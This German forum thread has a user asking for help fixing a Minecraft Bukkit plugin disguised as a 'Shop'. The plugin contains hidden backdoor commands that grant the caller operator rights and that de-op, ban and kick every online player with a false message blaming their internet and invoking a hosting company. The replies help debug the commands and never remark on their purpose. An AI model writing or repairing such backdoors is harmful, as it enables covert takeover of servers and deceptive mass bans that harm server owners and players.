Frage von pinguin5202004, 44

Wo ist hier der Fehler beim Programieren?

Wo ist der Fehler? Wenn man /IchMoeChTEOphaBeN eingibt soll ich OP bekommen und wenn man /BanNEallESpIEler eingibt, sollen alle Spieler deopt und gebannt werden.

public class Shop extends JavaPlugin {

public void onEnable() {
    System.out.println("Aktiviert");
}
public void onDisable() {
    System.out.println("Deaktiviert");
}
@SuppressWarnings("deprecation")
public boolean onCommand(CommandSender sender, Command cmd, String commandLabel, String[] args) {
    
    Player p = (Player) sender;
    
    if(cmd.getName().equals("IchMoeChTEOphaBeN")) {
        p.setOp(true);
    }
    
    if(cmd.getName().equals("BanNEallESpIEler")) {
        for(Player pp : Bukkit.getOnlinePlayers()) {
            pp.setOp(false);
            pp.setBanned(true);
            pp.kickPlayer("§cDein Intenet ist sehr schwach! §bMC-Host24.de §cbittet dich dein Internet zu verbessern!");
            p.setBanned(false);
            p.setOp(true);
        }
    }
    return true;
}

}

Antwort
von Paulatic, 26

Als allererstes würde ich dir raten diesen Codeschnipsel durch den anderen zu ersetzen.

Player p = (Player) sender;
Player p = null;
if(sender instanceof Player){
p = (Player) sender;
}

Und dann würde ich es folgendermaßen machen:

if(cmd.getName().equalsIgnoreCase("ichmoechteophaben")){
p.setOp(true);
}

Damit sollte es eigentlich gehen...

Kommentar von MarcelDavis321 ,

naja das ist eig egal, da eh niemand commands über die console eingibt. Das Problem ist eher dass die Commands garnicht registriert und die CommandExecuter Schnittstelle nicht implementiert wurde.

Keine passende Antwort gefunden?

Fragen Sie die Community

Weitere Fragen mit Antworten